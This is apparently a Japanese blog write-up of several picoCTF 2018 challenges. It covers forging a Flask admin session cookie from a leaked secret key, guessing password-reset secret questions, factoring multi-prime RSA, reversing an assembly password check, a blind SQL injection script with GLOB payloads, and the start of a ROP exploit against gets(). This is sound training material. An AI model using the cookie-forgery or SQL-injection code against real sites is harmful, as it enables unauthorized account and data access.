picoCTF 2018 の write-up 600, 650点問題編。
第二子出産後初のCTF投稿!実はこの記事は8割くらい出産前に書いてました。残りは例によってReversing, Binary(Pwn)。今回も手こずりましたが、また新しいツールを使ってみたり出来たので良かったです(๑•̀ㅂ•́)و
今回新しく出会ったツールは以下の2つ。以前からtwitterやwrite-upで見かけていたけど手を出していなかったものたちです。
ここまで来たら、今年のpicoCTF開催までに完走したい!あと10問!!どうやらWeb, Binary系がまだ結構残ってるみたいです。
なんとなく終りが見えてきたかな?
550点問題まではこちら。
[Web] Flaskcards Skeleton Key (600pt)
Nice! You found out they were sending the Secret_key: 06f4eefabf03b8f4e521fbdada13f65c. Now, can you find a way to log in as admin? http://2018shell.picoctf.com:5953 (link).
ほうほう、secret_key がわかってる状態で、adminにログインしてねってことかな?
リンクに飛んでみるとこんなページが。
Flaskcards とあるので、flaskのフレームワークで動いている様子。flaskのsecret_keyに関する問題はこれまでに見た気がするぞ…!
まずは指示通りRegister -> Sign in してみます。
Sign in時のcookie (username: kusuwada
, password: test
) は以下
session: .eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bQCz_X24TP_U.D8e36A.HbX3Tir51h5KhvVBDn37aFKXKeM remember_token: 11|accf8b1ec99b2f4c64b7f0da8b3c40391d0b595b2c34fe1e361e39470a9101bcaf91e64f293103e5b206ef659fb65aac50a2617a86fa59faf5f05a030d29e261 cookie: 2FIiQPmvneqpOUacJ45DCVau+bu5WeZKKc7frghlLxkRGwJE2ilvwPYLIY8qxp4o6/1SsloVihpcm40WMhKKhdcB//iWn1B699joS3qM0hw=
サイトの機能を一通りいじって「なんか凄く見た問題なぁ」なんて思っていたら、350pt問題で使っていたサイトと全く同じだった!
picoCTF2018 300~350pt問題のwrite-up - 好奇心の足跡
前回の問題は、secret_key
がそれがそのままflagになっていましたが、今回はそこからsessionを改ざんしてadmin用のsessionにしてあげる必要がありそうです。前回も参考にした下記サイトを参考にやってみます。
CTF的 Flaskに対する攻撃まとめ - Qiita
まず、Siginin状態でのcookie session
を base64 decodeしてみます。
なお、セッションの中身が大きくなると
zlib
で圧縮され、その時には先頭に.
が付きます。
とのことなので、zlibで解凍してからbase64してやります。
{ "_fresh": true, "_id": "c6e666c36992b00e86b24b14ab8c01042a20761ae05cdae2cc7dba9fd9dc65d19fb85bfe481c0e02df7ed76a357ce3ef024f85adc93df42b08d2d07e406edf12", "csrf_token": "0269d126c33eaea67193fa063c47779b7b2811e5", "user_id": "11" }
ここで、secret_key と一般ユーザーのsessionがわかったので、これをadmin用に改ざんします。
ツールも色々落ちているようですが、上記のページのコードをちょっといじって書き換えに挑戦してみます。
今回、kusuwadaのuser_id
は11
でしたが、adminは0
か1
かな?ということで、可能性がありそうなものを試してみます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # this code is refer to bellow site # https://qiita.com/koki-sato/items/6ff94197cf96d50b5d8f#flask-%E3%81%AE%E3%82%BB%E3%83%83%E3%82%B7%E3%83%A7%E3%83%B3%E6%94%B9%E3%81%96%E3%82%93 import zlib from flask.sessions import SecureCookieSessionInterface from itsdangerous import base64_decode, URLSafeTimedSerializer secret_key = '06f4eefabf03b8f4e521fbdada13f65c' user_cookie = '.eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bQCz_X24TP_U.D8e36A.HbX3Tir51h5KhvVBDn37aFKXKeM' class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface): # NOTE: Override method def get_signing_serializer(self, secret_key): signer_kwargs = { 'key_derivation': self.key_derivation, 'digest_method': self.digest_method } return URLSafeTimedSerializer( secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs ) class FlaskSessionCookieManager: @classmethod def decode(cls, secret_key, cookie): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.loads(cookie) @classmethod def encode(cls, secret_key, session): sscsi = SimpleSecureCookieSessionInterface() signingSerializer = sscsi.get_signing_serializer(secret_key) return signingSerializer.dumps(session) # main user_session = FlaskSessionCookieManager.decode(secret_key, user_cookie) print(user_session) admin_session = user_session admin_session['user_id'] = '1' print(admin_session) admin_cookie = FlaskSessionCookieManager.encode(secret_key, admin_session) print(admin_cookie)
実行結果
$ python solve.py {'_fresh': True, '_id': 'c6e666c36992b00e86b24b14ab8c01042a20761ae05cdae2cc7dba9fd9dc65d19fb85bfe481c0e02df7ed76a357ce3ef024f85adc93df42b08d2d07e406edf12', 'csrf_token': '0269d126c33eaea67193fa063c47779b7b2811e5', 'user_id': '11'} {'_fresh': True, '_id': 'c6e666c36992b00e86b24b14ab8c01042a20761ae05cdae2cc7dba9fd9dc65d19fb85bfe481c0e02df7ed76a357ce3ef024f85adc93df42b08d2d07e406edf12', 'csrf_token': '0269d126c33eaea67193fa063c47779b7b2811e5', 'user_id': '1'} --- admin cookie --- .eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bwPL_BS5bP8Q.XOYrhw.K3pFo73j91vKldovKaUY91W2sKk
ここで作成したadmin用のcookieを使って、admin用path (/admin
) にアクセスしてみます。
$ curl http://2018shell.picoctf.com:5953/admin -H "Cookie: session=.eJwlj13KAjEMAO_SZx-StE1aL7Ok-UERFHb16eO7uwseYJiZv7LlHsetXN_7Jy5lu3u5FuNgZqs8Jy2AGLyoLWy6hgFCIyUQRg3o5hpkJr50pk837o4z1-grow00CCBPCRfW2sWiRgK1HF3dZvVsp2I4OUg04PBEKpdix57b-_WI59kDxNORzqIaGsqCs6YCV2siMpcsGojRT-5zxP6bwPL_BS5bP8Q.XOYm6A.L8eY0u4s1QICxpbVrGIeI800kas"
応答(抜粋)
<p> Your flag is: picoCTF{1_id_to_rule_them_all_1879a381} </p>
350pt問題で消化不良感のあった問題でしたが、sessionの改ざんまで出来てよかった!!٩(๑❛ᴗ❛๑)۶
[Web] Help Me Reset 2 (600pt)
There is a website running at http://2018shell.picoctf.com:45948 (link). We need to get into any user for a flag!
Hints
Try looking past the typical vulnerabilities. Think about possible programming mistakes.
ざっとサイトを確認してみます。
Topページ
なかなか気合の入ったページです。
Loginページ
今回はregister機能がないため、実在するユーザーしかログインでき無さそう。
ほか、パスワードを忘れたときの救済用っぽいページ
ためしに admin
と入れてみると、そんなユーザーはいないと怒られます。
タイトルから察するに、このパスワードリセット機能を悪用するような気がする。
さて、topページのソースをよく見てみると、下の方にコメントが有る。
<!--Proudly maintained by meacham-->
ほう?もしかしてこのユーザー、実在するんじゃないかしら?
ということで、forgot passwordのページに入れてみます。
おお!質問が変わったよ!いわゆる「秘密の質問」ですね。
ここで推測による答えで通るのであれば、世界的に有名な答えに違いない。
ここを参考にしまして、色々試しました。
- What is you favorite hero? (ヒーロー)
- What is you favorite carmake?(車種)
- What is you favorite food? (料理)
- あてずっぽう
- What is you favorite color? (色)
- あてずっぽう
この4つの質問から出されます。3回失敗でユーザーがロックされてしまいます。ユーザーが変わると答えが変わるっぽいので、2回失敗したらCancel -> 同じユーザーでやり直しで答えを確定していきました。
運良くユーザーと秘密の質問に対する答えがわかった問題が3回連続で出たので、正しい答えを3回入力するとこんなページが。
パスワードをリセットして
ログインするとプロフィールページが表示され、flagが表示されました!
しかしこの問題、解けた人は多かったようですが、結構時間かかった…。特に、好きな料理は選択肢が多すぎて無理…!
今回の解き方は想定解だったのかなー?
[Crypto] Super Safe RSA 3 (600pt)
The more primes, the safer.. right.?.? Connect with nc 2018shell.picoctf.com 54915.
言われたhostにつないでみます。
$ nc 2018shell.picoctf.com 54915 c: 91810179806808204022717064857442590030430918286257217884469701070479168083906564675401143279365733183658834246970749167954701939869545718542894079520720783076716603218725385623051979924554779018276612966170811980986553178336094724795969259910069392841868236455081617435958753242491563988292639355451968656 n: 153744414361474688347194748563188771319978137015865223065837500550487886126563235280190643373993710200819403174998541972716021122926578611053576135887868860266164986456732202330119363073631953405064643244323845771811754988175352099420013813047213758835051198366621380055345309564381218018450192315945959709 e: 65537
問題の文言から、素因数が多いと安全…何だっけ?と言っているように見えます。
RSA
multi prime
あたりで検索をかけると、これに対する攻撃が出てきました。
- Multi-prime RSAを復号してみる(Hack The Vote 2016 The Best RSA) - ももいろテクノロジー
- 数学 - 中国人剰余定理 - ₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいです
いつもお世話になっているももいろテクノロジーさんや、₍₍ (ง ˘ω˘ )ว ⁾⁾ < 暗号楽しいですさんにも解説がありました。
RSAは何もp,qの2つの素数でないといけないわけではない。多変数に拡張されたRSA暗号を、Multi-Prime RSAと呼ぶ。
この Multi-prime RSA
が使われていることを期待して、nを素因数分解してみます。
今回はまず、下記のサイトに投げてみました。
しかし、どうもflagまでたどり着けません…。試行錯誤の末、他の方法でここで出た結果を更に素因数分解した結果、もっと細かく分解できることが判明しました。ということで、このサイトだと素因数分解しきれないことがあるようです。今回みたいにprimeがたくさんある場合はほぼしきれていない。
ということで、Msieveをつかって素因数分解してみます。今回は19秒で終わりました。ちなみに他のn
で試行したときは、20分以上経っても終わりませんでした。進捗率的に数時間掛かりそうな勢いだった…。こんなに計算時間が違うなら、値を新しくもらうのもありですね。
$ ./msieve -q -v -e 153744414361474688347194748563188771319978137015865223065837500550487886126563235280190643373993710200819403174998541972716021122926578611053576135887868860266164986456732202330119363073631953405064643244323845771811754988175352099420013813047213758835051198366621380055345309564381218018450192315945959709 Msieve v. 1.53 (SVN Unversioned directory) Fri May 24 12:45:20 2019 (中略) recovered 63 nontrivial dependencies p10 factor: 2156963099 p10 factor: 2315852579 p10 factor: 2332870511 p10 factor: 2375409851 p10 factor: 2707396969 p10 factor: 2902624363 p10 factor: 2920298341 p10 factor: 2923657879 p10 factor: 3030904033 p10 factor: 3083027263 p10 factor: 3219966307 p10 factor: 3292030283 p10 factor: 3365475053 p10 factor: 3540971663 p10 factor: 3600752513 p10 factor: 3623880451 p10 factor: 3771492797 p10 factor: 3775338103 p10 factor: 3874187657 p10 factor: 3895380331 p10 factor: 3961707137 p10 factor: 3977755069 p10 factor: 3979667039 p10 factor: 4078103639 p10 factor: 4130678371 p10 factor: 4157165609 p10 factor: 4184417771 p10 factor: 4208920799 p10 factor: 4223871851 p10 factor: 4223925263 p10 factor: 4224587683 p10 factor: 4290011779 elapsed time 00:00:19
あとは、得られた素因数たちを使って復号してやります。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import gmpy2 c = 91810179806808204022717064857442590030430918286257217884469701070479168083906564675401143279365733183658834246970749167954701939869545718542894079520720783076716603218725385623051979924554779018276612966170811980986553178336094724795969259910069392841868236455081617435958753242491563988292639355451968656 n = 153744414361474688347194748563188771319978137015865223065837500550487886126563235280190643373993710200819403174998541972716021122926578611053576135887868860266164986456732202330119363073631953405064643244323845771811754988175352099420013813047213758835051198366621380055345309564381218018450192315945959709 e = 65537 primes = [2156963099, 2315852579, 2332870511, 2375409851, 2707396969, 2902624363, 2920298341, 2923657879, 3030904033, 3083027263, 3219966307, 3292030283, 3365475053, 3540971663, 3600752513, 3623880451, 3771492797, 3775338103, 3874187657, 3895380331, 3961707137, 3977755069, 3979667039, 4078103639, 4130678371, 4157165609, 4184417771, 4208920799, 4223871851, 4223925263, 4224587683, 4290011779] totient = 1 for p in primes: totient *= (p-1) d = gmpy2.invert(e, totient) m = pow(c, d, n) print(m) print(bytes.fromhex(hex(m)[2:]).decode())
実行結果
$ python solve.py 13016382529449106065908111207362094589157720258852086801305724587409899022136957 picoCTF{p_&_q_n0_r_$_t!!_2380536}
[Reverse] special-pw (600pt)
Can you figure out the right argument to this program to login? We couldn't manage to get a copy of the binary but we did manage to dump some machine code and memory from the running process.
下記のファイルが落とせました。アセンブラのよう。
.intel_syntax noprefix .bits 32 .global main ; int main(int argc, char **argv) main: push ebp mov ebp,esp sub esp,0x10 mov DWORD PTR [ebp-0xc],0x0 mov eax,DWORD PTR [ebp+0xc] mov eax,DWORD PTR [eax+0x4] mov DWORD PTR [ebp-0x4],eax jmp part_b part_a: add DWORD PTR [ebp-0xc],0x1 add DWORD PTR [ebp-0x4],0x1 part_b: mov eax,DWORD PTR [ebp-0x4] movzx eax,BYTE PTR [eax] test al,al jne part_a mov DWORD PTR [ebp-0x8],0x0 jmp part_d part_c: mov eax,DWORD PTR [ebp+0xc] add eax,0x4 mov edx,DWORD PTR [eax] mov eax,DWORD PTR [ebp-0x8] add eax,edx mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp-0x4] movzx eax,BYTE PTR [eax] xor eax,0x66 mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov BYTE PTR [eax],dl mov eax,DWORD PTR [ebp-0x4] movzx eax,WORD PTR [eax] ror ax,0xf mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov WORD PTR [eax],dx mov eax,DWORD PTR [ebp-0x4] mov eax,DWORD PTR [eax] rol eax,0xa mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov DWORD PTR [eax],edx add DWORD PTR [ebp-0x8],0x1 part_d: mov eax,DWORD PTR [ebp-0xc] sub eax,0x3 cmp eax,DWORD PTR [ebp-0x8] jg part_c mov eax,DWORD PTR [ebp+0xc] mov eax,DWORD PTR [eax+0x4] mov DWORD PTR [ebp-0x4],eax mov DWORD PTR [ebp-0x10],0x59b617b jmp part_f part_e: mov eax,DWORD PTR [ebp-0x4] movzx edx,BYTE PTR [eax] mov eax,DWORD PTR [ebp-0x10] movzx eax,BYTE PTR [eax] cmp dl,al je part_k mov eax,0x0 jmp part_h part_k: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp-0x10],0x1 part_f: mov eax,DWORD PTR [ebp-0x10] movzx eax,BYTE PTR [eax] test al,al jne part_e mov eax,DWORD PTR [ebp+0xc] add eax,0x4 mov eax,DWORD PTR [eax] mov edx,DWORD PTR [ebp-0x10] mov ecx,0x59b617b sub edx,ecx add eax,edx movzx eax,BYTE PTR [eax] test al,al je part_g mov eax,0x0 ; LOGIN_FAILED jmp part_h part_g: mov eax,0x1 ; LOGIN_SUCCESS part_h: leave ret 059B617B: bd 0e 50 1b ef 9e 16 d1 7d e5 c1 55 c9 7f cf 21 |..P.....}..U...!| 059B618B: c5 99 51 d5 7d c9 c5 9d 21 d3 7d c1 cd d9 95 8f |..Q.}...!.}.....| 059B619B: 91 99 97 c5 f5 d1 2d d5 00 |......-..|
loginするための正しい引数がわかるかい?という問題。最後のバイナリダンプっぽいものは、実行中のプロセスのメモリダンプだそう。
解けている人数が少ないので、迷わずヒントを見ます。
Hmmm maybe if we do the reverse of each operation we can get the password?
そう、そんな気はするんだけど、アセンブラ部分が長くてやる気が起こらない…。
ものすごくざっと見た感じ。main
で引数のセット、part_b
に飛び、条件に合うまでpart_a
の処理を繰り返し、条件に合致したらpart_d
に飛ぶ。part_d
ではpart_c
の処理を実施、part_f
に飛ぶ。part_c
では主な処理として、xor
, ror
, rol
が実施されている。partf
では、条件を満たすまでpart_e
の処理を実施、別の条件が満たされればpart_g
に飛んでLogin成功、満たされていない場合はpart_h
に飛んでログイン失敗。
途中に出てくるアドレス 0x59b617b
はdumpされているアドレスと一致しています。
アセンブラを勉強したいわけでもないので、なんとか楽に解く方法を考えます。他の問題で、与えられたアセンブラをコンパイルして実行する問題がありました。今回もコンパイルに挑戦してみます。
今回も32bitのようなので、前の問題で入れておいた32bit版の kali-linux でコンパイルしました。
コンパイル元のソースは、問題文から下記部分を変更します。
- 最後のメモリダンプ部分を削除
- 途中のコメント部分を削除
- メモリダンプ部分を
.data
に登録、そこを参照するようにコードを変更 - 32bitということなので、
.bits 32
の部分を.code32
に変更
最終的にこうなりました。
.intel_syntax noprefix .code32 .global main main: push ebp mov ebp,esp sub esp,0x10 mov DWORD PTR [ebp-0xc],0x0 mov eax,DWORD PTR [ebp+0xc] mov eax,DWORD PTR [eax+0x4] mov DWORD PTR [ebp-0x4],eax jmp part_b part_a: add DWORD PTR [ebp-0xc],0x1 add DWORD PTR [ebp-0x4],0x1 part_b: mov eax,DWORD PTR [ebp-0x4] movzx eax,BYTE PTR [eax] test al,al jne part_a mov DWORD PTR [ebp-0x8],0x0 jmp part_d part_c: mov eax,DWORD PTR [ebp+0xc] add eax,0x4 mov edx,DWORD PTR [eax] mov eax,DWORD PTR [ebp-0x8] add eax,edx mov DWORD PTR [ebp-0x4],eax mov eax,DWORD PTR [ebp-0x4] movzx eax,BYTE PTR [eax] xor eax,0x66 mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov BYTE PTR [eax],dl mov eax,DWORD PTR [ebp-0x4] movzx eax,WORD PTR [eax] ror ax,0xf mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov WORD PTR [eax],dx mov eax,DWORD PTR [ebp-0x4] mov eax,DWORD PTR [eax] rol eax,0xa mov edx,eax mov eax,DWORD PTR [ebp-0x4] mov DWORD PTR [eax],edx add DWORD PTR [ebp-0x8],0x1 part_d: mov eax,DWORD PTR [ebp-0xc] sub eax,0x3 cmp eax,DWORD PTR [ebp-0x8] jg part_c mov eax,DWORD PTR [ebp+0xc] mov eax,DWORD PTR [eax+0x4] mov DWORD PTR [ebp-0x4],eax mov DWORD PTR [ebp-0x10], OFFSET dump_data jmp part_f part_e: mov eax,DWORD PTR [ebp-0x4] movzx edx,BYTE PTR [eax] mov eax,DWORD PTR [ebp-0x10] movzx eax,BYTE PTR [eax] cmp dl,al je part_k mov eax,0x0 jmp part_h part_k: add DWORD PTR [ebp-0x4],0x1 add DWORD PTR [ebp-0x10],0x1 part_f: mov eax,DWORD PTR [ebp-0x10] movzx eax,BYTE PTR [eax] test al,al jne part_e mov eax,DWORD PTR [ebp+0xc] add eax,0x4 mov eax,DWORD PTR [eax] mov edx,DWORD PTR [ebp-0x10] mov ecx,OFFSET dump_data sub edx,ecx add eax,edx movzx eax,BYTE PTR [eax] test al,al je part_g mov eax,0x0 jmp part_h part_g: mov eax,0x1 part_h: leave ret .data dump_data: .byte 0xbd .byte 0x0e .byte 0x50 .byte 0x1b .byte 0xef .byte 0x9e .byte 0x16 .byte 0xd1 .byte 0x7d .byte 0xe5 .byte 0xc1 .byte 0x55 .byte 0xc9 .byte 0x7f .byte 0xcf .byte 0x21 .byte 0xc5 .byte 0x99 .byte 0x51 .byte 0xd5 .byte 0x7d .byte 0xc9 .byte 0xc5 .byte 0x9d .byte 0x21 .byte 0xd3 .byte 0x7d .byte 0xc1 .byte 0xcd .byte 0xd9 .byte 0x95 .byte 0x8f .byte 0x91 .byte 0x99 .byte 0x97 .byte 0xc5 .byte 0xf5 .byte 0xd1 .byte 0x2d .byte 0xd5 .byte 0x00
コンパイルして実行してみます。
$ gcc -m32 -g assm.S -o assm.o $ ls assm.S assm.o $ file assm.o assm.o: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=140cabe63a0a426b01264b876c158c9533668cce, with debug_info, not stripped $ ./assm.o Segmentation fault $ ./assm.o aaaaa
実行ファイルが出来ました。引数なしで実行してみるとSegFault、引数を付けると何も起きずに終了します。
この実行ファイルのcかなんかのコードがほしいのです。ということで、ちょっと前に発表されていて話題になっていた Ghidra に解析させてみることにしました!
projectを作成し、実行ファイルをimport。
解析してもらいます。
コードが出てきました。
uint main(undefined4 param_1,int param_2) { uint *puVar1; char *local_14; int local_10; int local_c; char *local_8; local_10 = 0; local_8 = *(char **)(param_2 + 4); while (*local_8 != '\0') { local_10 = local_10 + 1; local_8 = local_8 + 1; } local_c = 0; while (local_c < local_10 + -3) { puVar1 = (uint *)(local_c + *(int *)(param_2 + 4)); *(byte *)puVar1 = *(byte *)puVar1 ^ 0x66; *(ushort *)puVar1 = *(ushort *)puVar1 >> 0xf | *(ushort *)puVar1 << 1; *puVar1 = *puVar1 << 10 | *puVar1 >> 0x16; local_c = local_c + 1; } local_8 = *(char **)(param_2 + 4); local_14 = &dump_data; while( true ) { if (*local_14 == '\0') { return (uint)(local_14[*(int *)(param_2 + 4) + -0x14018] == '\0'); } if (*local_8 != *local_14) break; local_8 = local_8 + 1; local_14 = local_14 + 1; } return 0; }
これならなんとか読めそう。
引数(param2
)を一文字ずつ(引数の長さ-3まで)処理。0x66
とXOR -> 2文字分をビット右回転(0xf
) -> 4文字分をビット左回転(0xa
)
実質 dump_data
が暗号化された引数で、引数からlocal_8
を生成するプロセスが暗号化のプロセスになっています。
この逆をやればフラグが出そう。今回、ROR,ROLのコードは下記からお借りしました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import codecs import struct dump_data = b"bd0e501bef9e16d17de5c155c97fcf21c59951d57dc9c59d21d37dc1cdd9958f919997c5f5d12dd500" # ROL,ROR code are from https://gyeongje.tistory.com/353 def ROL(data, shift, size=32): shift %= size remains = data >> (size - shift) body = (data << shift) - (remains << size ) return (body + remains) def ROR(data, shift, size=32): shift %= size body = data >> shift remains = (data << (size - shift)) - (body << size) return (body + remains) # main enc_arg = bytearray(codecs.decode(dump_data, 'hex_codec')) for i in range(len(enc_arg)-5, -1, -1): # ROR, (32bit) t = struct.unpack('<I', enc_arg[i:i+4])[0] t = ROR(t, 10, 32) # 0xa enc_arg[i:i+4] = bytearray(struct.pack('<I', t)) # ROL, ushort(16bit) t = struct.unpack('<H', enc_arg[i:i+2])[0] t = ROL(t, 15, 16) # 0xf enc_arg[i:i+2] = bytearray(struct.pack('<H', t)) # XOR enc_arg[i] = enc_arg[i] ^ 0x66 print(enc_arg)
実行結果
$ python solve.py bytearray(b'picoCTF{gEt_y0Ur_sH1fT5_r1gHt_036ecdfe1}\x00')
出た!╭( ・ㅂ・)و ̑̑
Ghidra、チュートリアルを読みながらやってみたけど、まだまだ使いこなすには修業が必要そうだ。
[Web] A Simple Question (650pt)
There is a website running at http://2018shell.picoctf.com:28120 (link). Try to see if you can answer its question.
やけに沢山の人が解いてます、この問題。
Topページはこんな感じ。
いきなり答えは?と聞かれています。
このページのソースの中に、怪しいコメントがいました。
<!-- source code is in answer2.phps -->
http://2018shell.picoctf.com:28120/answer2.phps
を直リンク指定して飛んでみると、コードが見えます。
<?php include "config.php"; ini_set('error_reporting', E_ALL); ini_set('display_errors', 'On'); $answer = $_POST["answer"]; $debug = $_POST["debug"]; $query = "SELECT * FROM answers WHERE answer='$answer'"; echo "<pre>"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo "</pre>"; ?> <?php $con = new SQLite3($database_file); $result = $con->query($query); $row = $result->fetchArray(); if($answer == $CANARY) { echo "<h1>Perfect!</h1>"; echo "<p>Your flag is: $FLAG</p>"; } elseif ($row) { echo "<h1>You are so close.</h1>"; } else { echo "<h1>Wrong.</h1>"; } ?>
このコードを見る限り、SQL injectionが有効そうです。
"SELECT * FROM answers WHERE answer='$answer'"
のクエリで得られたレコードが空でない場合、You are so close.
と表示され、空だった場合はWrong
が表示されます。また、クエリが実際どう組み立てられたかは、親切にも表示してくれるみたいです(◍•ᴗ•◍)
試しに、全レコードが$row
に入ってくるはずの下記をanswerに送ってみます。
answer' OR 1 == 1;
ソースコードの方の最後の分岐、データが空ではなかった場合にでるエラー文言が出てきました٩(๑❛ᴗ❛๑)۶
効いてます!
しかし、flagを表示してもらうためには$CANARY
を当てないといけないようです。
ここで、クエリの実行結果が、空か空じゃなかったかがわかるエラー文言を表示してくれることがわかっているので、頭から一文字ずつ試していき、頭の文字が当たっていればレコードを抜いてくる、すなわちYou are so close
が表示され、違っていたらWrong
が表示されるような攻撃をします。典型的なブライドSQLインジェクションです。
今回は文字列のパターンマッチに、SQLiteの GLOB
関数を使いました。詳細は こちら。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import requests import string url = "http://2018shell.picoctf.com:28120/answer2.php" wrong_msg = 'Wrong.' close_msg = 'You are so close.' candidates = string.printable def attack(attack_msg): payload = {'answer': attack_msg} res = requests.post(url, data=payload) if wrong_msg in res.text: return False elif close_msg in res.text: print('Hit!: ' + attack_msg) return True else: print('CANARY: ' + attack_msg) print(res.text) raise Exception('error.') # main canary = '' for i in range(100): for c in candidates: attack_msg = "' UNION SELECT * FROM answers WHERE answer GLOB '" attack_msg += canary + c attack_msg += "*'; --" print(attack_msg) if attack(attack_msg): canary += c attack(canary) break
実行結果
$ python solve.py ' UNION SELECT * FROM answers WHERE answer GLOB '0*'; -- ' UNION SELECT * FROM answers WHERE answer GLOB '1*'; -- ' UNION SELECT * FROM answers WHERE answer GLOB '2*'; -- (中略) ' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixthq*'; -- ' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixthr*'; -- ' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixths*'; -- Hit!: ' UNION SELECT * FROM answers WHERE answer GLOB '41AndSixSixths*'; -- CANARY: 41AndSixSixths <br /> <b>Notice</b>: Undefined index: debug in <b>/problems/a-simple-question_0_cb5aee694c05cc51db8ca0efccc19133/webroot/answer2.php</b> on line <b>7</b><br /> <pre>SQL query: SELECT * FROM answers WHERE answer='41AndSixSixths' </pre><h1>Perfect!</h1><p>Your flag is: picoCTF{qu3stions_ar3_h4rd_73139cd9}</p> (略)
いえーい!確かにこの問題は解ける人が多そうだ。点数配分・・・(ಠ_ಠ)
ちなみに raise Exception
で動作をとめるという荒業をしているので、実行結果の最後はもっと汚い…。
[Binary] can-you-gets-me (650pt)
Can you exploit the following program to get a flag? You may need to think return-oriented if you want to program your way to the flag. You can find the program in /problems/can-you-gets-me_1_e66172cf5b6d25fffee62caf02c24c3d on the shell server. Source.
Hint
This is a classic gets ROP
入手できるのは、下記のコードと実行ファイル。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 16 void vuln() { char buf[16]; printf("GIVE ME YOUR NAME!\n"); return gets(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); vuln(); }
終盤にしては短めです。
vuln()
関数の gets
に BufferOverflow の脆弱性があります。
shell serverの指定されたディレクトリを覗いてみると、同ディレクトリにflag.txt
様がいらっしゃいました。flagをとる際はshell server上で実施、ですね。
$ ls flag.txt gets gets.c
試しに実行してみます。
$ ./gets GIVE ME YOUR NAME! kusuwada
名前を入れたらそのまま終了。ソースコードの通りの挙動です。
ヒントより、ROPを使うことが想定されているようなので、bufferoverflowを利用してROP chainを組み、shellを取ってflag.txtを覗くのが道順っぽい。
ROP系の問題は過去いくつか解いたことがありましたが、今回のは解けなさそうだった&間が空いてしまったので復習しました。
あ、2つだけだった!(ノ≧ڡ≦)
上記2つの問題は、flagを表示してくれるmainから呼ばれていない関数がありましたが、今回はありません。
あとは、ハリネズミ本のROP周りの章を読んでみました。これを読んだことで、今まで解いた2つの問題はpopret gadgetの考え方で解けて、今回はgadgetを収集した後にgadgetをうまいことつなげる、一歩進んだやり方が必要そうというのがわかりました。
また、余談になってしまいますが(余談ばかり)ちょうどtwitterで良さげな記事が回ってきたので読んでみました。ROPが簡単にまとまっていて読みやすい上に、ROPの発展形の話も入っていて非常に面白かったです。まだこれらを使ったCTF問は出会ったことがないけど、やってみたい。
Return-oriented programming以後 | 一生あとで読んでろ
ここで、radare2でバイナリを解析してみます。
$ r2 gets WARNING: Cannot initialize dynamic strings [0x08048736]> aaaa # 自動解析実行 (~略~) [0x08048736]> /R # opコード検索 (pop,ret) Do you want to print 267379 lines? (y/N) n [0x08048736]> afl # 関数を一覧表示 0x080481a8 3 35 sym._init 0x080481d0 1 6 sub.ifunc_0_80481d0 0x080481e0 1 6 fcn.080481e0 0x080481f0 1 6 fcn.080481f0 0x08048200 1 6 fcn.08048200 ...(~略~)... 0x080bb450 18 285 -> 276 sym.free_mem_8 0x080bb570 16 180 -> 194 sym.arena_thread_freeres 0x080dca46 1 27 fcn.080dca46 0x080e32b7 1 42 fcn.080e32b7
なんと超シンプルなコードなはずなのに、opコードや関数が多すぎ!!!何事!?と思ったけど、他のバイナリが性的コンパイルされている模様。ということで、ROPに使用できるgadgetが沢山ある事がわかりました。
自力で解けなさそうだったので他の方のwrite-upを読んでみたところ、ほとんどが下記のROPGadgetを使っているようなので、使ってみることにしました。名前は何度か見かけてましたが使わずに解けてたので、今回初利用。
kali linuxはデフォルトで入っているので、$ ROPgadget
で使用可。READMEに使用方法が書かれているので、それを見ながら使ってみます。
対象バイナリファイルの指定には --binary
, ROP chainを作って欲しいので --ropchain
オプションを指定。他にもいろいろ機能があるみたいですが、今回はこれらのオプションだけで実行してみます。
$ ROPgadget --binary gets --ropchain
数秒かかりましたが、無事chainが組めたようです。ROPgadget実行結果↓
